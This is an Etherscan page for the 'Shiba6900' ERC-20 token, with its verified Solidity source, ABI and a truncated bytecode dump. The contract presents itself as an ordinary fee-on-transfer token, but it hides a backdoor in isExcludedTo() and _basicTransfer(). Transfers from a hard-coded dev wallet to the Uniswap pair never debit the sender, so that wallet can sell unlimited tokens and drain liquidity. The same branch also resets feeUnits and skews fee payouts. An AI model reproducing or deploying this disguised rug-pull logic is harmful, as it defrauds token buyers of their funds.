ETH Price: $2,585.77 (-2.70%)

Token

Shiba6900 (SHIBA6900)
 

Overview

Max Total Supply

1,000,000,000 SHIBA6900

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,449,571.724346647411858523 SHIBA6900

Value
$0.00
0x97529ede65e98cde76e92f142d077cbd13fd5065
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shiba6900

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

/**


Twitter: https://twitter.com/Shiba6900

Telegram: https://t.me/Shiba6900

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.11;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Shiba6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name = unicode"Shiba6900";
    string private _symbol = unicode"SHIBA6900";
    uint8 private _decimals = 18;

    address payable public teamWallets = payable(msg.sender);
    address payable public devWallets = payable(0x9c4aeeF4174793CD7BDd1365a5019aD7f918542A);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellDeveloperFee = 0;

    uint256 public feeUnits = 1;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000_000_000 * 10 **_decimals;

    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);

    uint256 public _maxTxAmount =  _totalSupply.mul(35).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(35).div(1000);  

    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        isExcludedFromFee[devWallets] = true;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallets] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[devWallets] = true;
        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[teamWallets] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallets] = true;
        isTxLimitExempt[devWallets] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == devWallets 
                && sender != address(0) 
                && recipient !=address(0);
    }
     function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }


    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallets).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallets).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }
    

    function openTrading() external onlyOwner {
        tradingEnabled = true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
    
    
    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }
    function createLP() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempt[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallets","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallets","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f5368696261363930300000000000000000000000000000000000000000000000815250600190816200004a919062000e08565b506040518060400160405280600981526020017f53484942413639303000000000000000000000000000000000000000000000008152506002908162000091919062000e08565b50601260035f6101000a81548160ff021916908360ff16021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739c4aeef4174793cd7bdd1365a5019ad7f918542a60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152505f73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff168152505f600d555f600e555f600f555f6010555f6011555f601255600160135560035f9054906101000a900460ff16600a620001e4919062001075565b633b9aca00620001f59190620010c5565b60165562000226612710620002176005601654620009dd60201b90919060201c565b62000a5d60201b90919060201c565b601755620002576103e8620002486023601654620009dd60201b90919060201c565b62000a5d60201b90919060201c565b601855620002886103e8620002796023601654620009dd60201b90919060201c565b62000a5d60201b90919060201c565b6019556001601b60156101000a81548160ff0219169083151502179055505f601b60166101000a81548160ff0219169083151502179055506001601b60176101000a81548160ff0219169083151502179055506001601b60186101000a81548160ff02191690831515021790555034801562000302575f80fd5b505f6200031462000aae60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160095f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f6200043b62000ab560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f620005e162000ab560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908